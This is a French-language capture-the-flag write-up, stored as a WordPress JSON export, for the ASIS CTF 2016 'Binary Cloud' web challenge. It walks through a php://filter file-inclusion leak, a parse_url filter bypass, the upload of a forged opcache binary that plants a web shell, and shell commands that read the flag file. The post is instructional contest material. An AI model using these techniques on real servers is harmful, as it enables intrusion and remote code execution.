{"id":2377,"date":"2016-05-12T21:49:09","date_gmt":"2016-05-12T19:49:09","guid":{"rendered":"https:\/\/0x90r00t.com\/?p=2377"},"modified":"2016-05-12T21:49:09","modified_gmt":"2016-05-12T19:49:09","slug":"asis-ctf-quals-2016-web-153-binary-cloud-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2016\/05\/12\/asis-ctf-quals-2016-web-153-binary-cloud-write-up\/","title":{"rendered":"[ASIS CTF Quals 2016] [Web 153 \u2013 Binary Cloud] Write Up"},"content":{"rendered":"<blockquote>\n<h2>Description<\/h2>\n<p>Now you can upload any types of files, temporarily.\n<\/p><\/blockquote>\n<p><!--more--><\/p>\n<h2>Resolution<\/h2>\n<p>Nous commen\u00e7ons par r\u00e9cup\u00e9rer le fichier robots.txt<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nUser-Agent: *\r\nDisallow: \/\r\nDisallow: \/debug.php\r\nDisallow: \/cache\r\nDisallow: \/uploads\r\n<\/pre>\n<p>Le fichier debug.php affiche un phpinfo qui nous indique que la version de php est la 7.0.4-7ubuntu2, qu&rsquo;opcache est activ\u00e9 et que les fichiers sont mis en cache dans le r\u00e9pertoire \/home\/binarycloud\/www\/cache.<\/p>\n<p>Le lien vers le formulaire d&rsquo;upload est https:\/\/binarycloud.asis-ctf.ir\/?page=upload ce qui laisse pr\u00e9sager une lfi.<\/p>\n<p>Effectivement, une requ\u00eate vers https:\/\/binarycloud.asis-ctf.ir\/index.php?page=php:\/\/filter\/convert.base64-encode\/resource=upload nous fournit le code d&rsquo;upload.<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\n&lt;?php\r\n\r\nfunction ew($haystack, $needle) {\r\n    return $needle === &quot;&quot; || (($temp = strlen($haystack) - strlen($needle)) &gt;= 0 &amp;&amp; strpos($haystack, $needle, $temp) !== false);\r\n}\r\n\r\nfunction filter_directory(){\r\n        $data = parse_url($_SERVER&#x5B;'REQUEST_URI']);\r\n        $filter = &#x5B;&quot;cache&quot;, &quot;binarycloud&quot;];\r\n        foreach($filter as $f){\r\n                if(preg_match(&quot;\/&quot;.$f.&quot;\/i&quot;, $data&#x5B;'query'])){\r\n                        die(&quot;Attack Detected&quot;);\r\n                }\r\n        }\r\n}\r\n\r\nfunction error($msg){\r\n        die(&quot;&lt;script&gt;alert('$msg');history.go(-1);&lt;\/script&gt;&quot;);\r\n}\r\n\r\nfilter_directory();\r\n\r\nif($_SERVER&#x5B;'QUERY_STRING'] &amp;&amp; $_FILES&#x5B;'file']&#x5B;'name']){\r\n        if(!file_exists($_SERVER&#x5B;'QUERY_STRING'])) error(&quot;error3&quot;);\r\n        $name = preg_replace(&quot;\/&#x5B;^a-zA-Z0-9\\.]\/&quot;, &quot;&quot;, basename($_FILES&#x5B;'file']&#x5B;'name']));\r\n        if(ew($name, &quot;.php&quot;)) error(&quot;error&quot;);\r\n        $filename = $_SERVER&#x5B;'QUERY_STRING'] . &quot;\/&quot; . $name;\r\n        if(file_exists($filename)) error(&quot;exists&quot;);\r\n        if (move_uploaded_file($_FILES&#x5B;'file']&#x5B;'tmp_name'], $filename)){\r\n                die(&quot;uploaded at &lt;a href=$filename&gt;$filename&lt;\/a&gt;&lt;hr&gt;&lt;a href='javascript:history.go(-1);'&gt;Back&lt;\/a&gt;&quot;);\r\n        }else{\r\n                error(&quot;error&quot;);\r\n        }\r\n}\r\n\r\n?&gt;\r\n        &lt;hr&gt;\r\n        &lt;form action=&quot;upload.php?uploads&quot; enctype=&quot;multipart\/form-data&quot; method=&quot;post&quot;&gt;\r\n                &lt;p&gt;Please specify the file to upload!&lt;\/p&gt;\r\n                &lt;input class=&quot;form-control&quot; type=&quot;file&quot; name=&quot;file&quot;&gt;&lt;br&gt;\r\n                &lt;input class=&quot;form-control&quot; type=&quot;submit&quot; value=&quot;Upload!&quot;&gt;\r\n        &lt;\/form&gt;\r\n\r\n<\/pre>\n<p>Apr\u00e8s lecture du code, on remarque que la fonction filter_directory() utilise parse_url($_SERVER[&lsquo;REQUEST_URI&rsquo;]) alors que move_uploaded_file() utilise $_SERVER[&lsquo;QUERY_STRING&rsquo;].<\/p>\n<p>Cela nous laisse supposer qu&rsquo;il y a un moyen de contourner filter_directory() en utilisant un bug dans parse_url.<br \/>\nApr\u00e8s de multiples essais, nous trouvons une m\u00e9thode de contournement.<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\nphp7.0 test.php '\/\/upload.php?\/home\/binarycloud\/www\/cache\/'\r\nArray\r\n(\r\n    &#x5B;host] =&gt; upload.php?\r\n    &#x5B;path] =&gt; \/home\/binarycloud\/www\/cache\/\r\n)\r\n<\/pre>\n<p>Il nous faut \u00e0 pr\u00e9sent g\u00e9n\u00e9rer le binaire home.php.bin, pour cela nous installons un serveur identique \u00e0 celui du challenge (ubuntu, nginx, php-fpm) et nous activons opcache.<\/p>\n<p>Une fois notre binaire g\u00e9n\u00e9r\u00e9, nous l&rsquo;envoyons et r\u00e9cup\u00e9rons notre shellcode.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nPOST \/\/upload.php?\/home\/binarycloud\/www\/cache\/81d80d78c6ef96b89afaadc7ffc5d7ea\/home\/binarycloud\/www\/ HTTP\/1.1\r\nHost: binarycloud.asis-ctf.ir\r\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: close\r\nContent-Type: multipart\/form-data; boundary=---------------------------21008119083100235961415588990\r\nContent-Length: 1220\r\n\r\n-----------------------------21008119083100235961415588990\r\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;home.php.bin&quot;\r\nContent-Type: application\/octet-stream\r\n\r\nOPCACHE 81d80d78c6ef96b89afaadc7ffc5d7ea ..................\r\n-----------------------------21008119083100235961415588990--\r\n<\/pre>\n<p>Quelques requ\u00eates plus loin<br \/>\nhttps:\/\/binarycloud.asis-ctf.ir\/home.php?ghfjkcsrf=ls-l \/<br \/>\nhttps:\/\/binarycloud.asis-ctf.ir\/home.php?ghfjkcsrf=cat \/WH4T_1S_7H3_FL4G<\/p>\n<p>Le flag est : ASIS{5e00f204374f9ce481acc97294eda1f0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Description Now you can upload any types of files, temporarily.<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[130,168,35],"tags":[128,171,38],"class_list":["post-2377","post","type-post","status-publish","format-standard","hentry","category-2016-fr","category-asis","category-ctf-fr","tag-2016-fr","tag-asis","tag-ctf-fr"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2377","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=2377"}],"version-history":[{"count":15,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2377\/revisions"}],"predecessor-version":[{"id":2392,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2377\/revisions\/2392"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=2377"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=2377"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=2377"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}